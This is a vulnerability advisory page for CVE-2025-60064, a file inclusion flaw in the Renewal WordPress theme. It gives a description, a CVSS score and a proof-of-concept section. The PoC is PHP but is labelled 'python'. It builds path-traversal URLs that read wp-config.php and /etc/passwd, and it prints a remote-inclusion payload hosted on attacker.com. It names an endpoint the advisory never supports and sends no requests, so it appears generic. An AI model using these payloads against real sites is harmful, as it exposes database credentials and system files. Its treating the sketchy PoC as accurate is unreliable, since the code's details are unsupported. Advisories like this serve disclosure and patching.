CVE-2025-60064

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Renewal renewal allows PHP Local File Inclusion.This issue affects Renewal: from n/a through <= 1.2.2.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:renewal:*:*:*:*:*:wordpress:*:* - VULNERABLE

Renewal Theme <= 1.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-60064 PoC - Local File Inclusion
// Target: WordPress Renewal Theme <= 1.2.2

$target = "http://target-site.com/";
$theme_path = "/wp-content/themes/renewal/";

// LFI to read wp-config.php
$lfi_payload = $theme_path . "inc/template-functions.php?template=../../../../wp-config.php";
echo "[*] Attempting Local File Inclusion...
";
echo "[*] Target: " . $target . $lfi_payload . "
";

// Read sensitive files
$files = [
    "../../../../wp-config.php" => "WordPress Configuration",
    "../../../../etc/passwd" => "System Passwd File",
    "../../../../../../etc/hostname" => "System Hostname"
];

foreach ($files as $file => $desc) {
    $url = $target . $theme_path . "inc/template-functions.php?template=" . $file;
    echo "[*] Reading {$desc}: {$file}
";
    // In real attack, send request and capture response
}

// RFI PoC (if allow_url_include is enabled)
$rfi_payload = "http://attacker.com/malicious.txt";
echo "[*] Remote File Inclusion payload: " . $rfi_payload . "
";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60064
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60064
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60064/
[4] VulDB https://vuldb.com/cve/CVE-2025-60064
[5] https://patchstack.com/database/Wordpress/Theme/renewal/vulnerability/wordpress-renewal-theme-1-2-2-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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